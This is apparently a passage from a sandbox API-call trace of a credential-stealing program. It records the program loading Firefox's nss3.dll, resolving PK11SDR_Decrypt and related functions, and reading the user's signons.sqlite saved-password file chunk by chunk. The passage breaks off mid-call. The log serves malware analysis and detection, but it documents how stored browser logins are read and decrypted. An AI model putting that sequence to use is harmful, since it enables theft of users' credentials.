[0047.564] SetCurrentDirectoryA (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1 [0047.564] LoadLibraryA (lpLibFileName="nss3.dll") returned 0x74430000 [0047.778] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Init") returned 0x744ed70b [0047.780] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Shutdown") returned 0x744ed13c [0047.780] GetProcAddress (hModule=0x74430000, lpProcName="NSSBase64_DecodeBuffer") returned 0x744ee7d9 [0047.780] GetProcAddress (hModule=0x74430000, lpProcName="SECITEM_FreeItem") returned 0x744ee656 [0047.780] GetProcAddress (hModule=0x74430000, lpProcName="PK11_GetInternalKeySlot") returned 0x74483c51 [0047.780] GetProcAddress (hModule=0x74430000, lpProcName="PK11_Authenticate") returned 0x7446d3ca [0047.781] GetProcAddress (hModule=0x74430000, lpProcName="PK11SDR_Decrypt") returned 0x744800a7 [0047.781] GetProcAddress (hModule=0x74430000, lpProcName="PK11_FreeSlot") returned 0x74483333 [0047.781] NSS_Init () returned 0x0 [0047.940] PK11_GetInternalKeySlot () returned 0x932d000 [0047.941] PK11_Authenticate () returned 0x0 [0047.941] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef9bc | out: ppstm=0xef9bc*=0x76df40) returned 0x0 [0047.941] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.941] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.941] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.941] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.942] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.942] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.942] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.942] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.942] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.942] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.942] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.942] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.942] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.942] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.943] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.943] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.944] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.944] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.944] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.944] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.944] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.944] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.944] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.944] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.944] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.945] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.945] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.946] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.946] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.947] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.947] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.947] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.947] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.947] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.947] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.947] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.948] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.948] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.948] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.948] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.950] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.950] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.951] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.951] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, 